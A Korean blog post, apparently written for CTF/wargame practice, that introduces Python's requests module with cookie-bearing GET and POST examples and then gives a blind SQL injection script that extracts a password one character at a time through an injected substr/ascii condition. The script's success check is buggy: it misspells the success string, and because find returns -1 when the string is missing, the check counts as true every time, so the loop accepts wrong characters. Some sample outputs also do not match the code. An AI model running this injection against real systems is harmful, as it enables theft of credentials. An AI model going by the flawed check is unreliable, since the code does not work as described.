[Web Hacking/Python] Request 모듈 사용법

🔐 Security

[Web Hacking/Python] Request 모듈 사용법

Rosieblue 2023. 9. 24. 17:09

728x90

Request 모듈

웹해킹을 풀 때 여태껏 반복된 요청을 보낼 때에는 burpsuit를 사용했는데, python의 request 모듈을 통해서도 좋은 결과를 낼 수 있다는 것을 알았다.

둘을 섞어서 사용하면 좋을 것 같아서 request 모듈에도 익숙해지려고 한다.

request 모듈을 이용하면 GET 요청이나 POST 요청등을 보낼 수 있다(물론 다른 메소드도 가능하다!)

먼저 GET 요청을 어떻게 보내는지 코드를 보자.

c=request.get(url,header,params..)이런식으로 보내면 get 요청이 가진다!

이때 응답값 c는 response를 받기 때문에 c.raw, c.status_code.. 이런 식으로 응답에 대한 정보도 받을 수 있다.

import requests

#Reqeust URL Setting
url="https://dreamhack.io/" #가장 만만한 dreamhack 페이지를 가져와 봤다.

#Request COOKIE value Setting
cookie={'Cookie':'SESSID=SESSION_DATA'}

#GET Request
r=requests.get(url,headers=cookie)#헤더로 쿠키를 보내주었다!!

#POST Request
#POST는 data 인자(딕셔너리)도 꼭 넣어줘야한다!
r=requests.post(url,data={
    "param1":"p1",
    "param2":"p2"
}, headers=cookie)

응답값을 확인해보자. 이는 request.메소드(~)의 리턴 값이라고 했다!

# Print URL Data
>>> print (r.url)
https://testurl.com?Param1=value&Param2=value

# Print Content Text
>>> r.text
<!DOCTYPE html>
<head> Test Url </head>
...

# Print Content 
>>> r.content
b'<!DOCTYPE html>\n<html lang="ko">\n<head>\n    <meta http-equiv="Content-Type" cotent= '
...

# Print Raw Content
>>> r.raw
<urllib3.response.HTTPResponse object at 0x000001EEFE821750>

# Print Status Code
>>> r.status_code
200

# Print Response Headers
>>> r.headers
{'Date': 'Mon, 13 Jun 2022 09:51:53 GMT' ...

# Print Response Content-Type
>>> r.headers['Content-Type']
>>> r.headers.get('content-type')
'application/json'

Blind SQL Injection 공격 스크립트

ex) 비밀번호 글자:20자, 비밀번호:아스키코드

import requests
#Blind SQL Injection 공격 스크립트
#ex) 비밀번호 글자:20자, 비밀번호:아스키코드

url="~.com"
params={
    "uid":"",
    "upw":""
}

query="' and ascii(substr(upw,{idx},1))={val}--"

password=''

for i in range(1,21):
    for val in range(32,127):
        params["uid"]=query.format(idx=i,val=val)
        c=requests.get(url,params=params)
        print(c.url)
        
        #응답에 Login Success 문자열이 있다면 password에 문자 추가
        if c.text.find("Login Sucess"):
            password+=chr(val)
            break
        
print(f"Password is {password}")

뭐 대충.. 이런식으로 하는 것 같다

아래 문서를 보면 더 자세히 나와있다!

Requests: HTTP for Humans™ — Requests 2.31.0 documentation (python-requests.org)

Requests: HTTP for Humans™ — Requests 2.31.0 documentation

Requests: HTTP for Humans™ Release v2.31.0. (Installation) Requests is an elegant and simple HTTP library for Python, built for human beings. Behold, the power of Requests: >>> r = requests.get('https://api.github.com/user', auth=('user', 'pass')) >>> r.

docs.python-requests.org

References

Python Requests Library (tistory.com)

ServerSide: SQL Injection | Dreamhack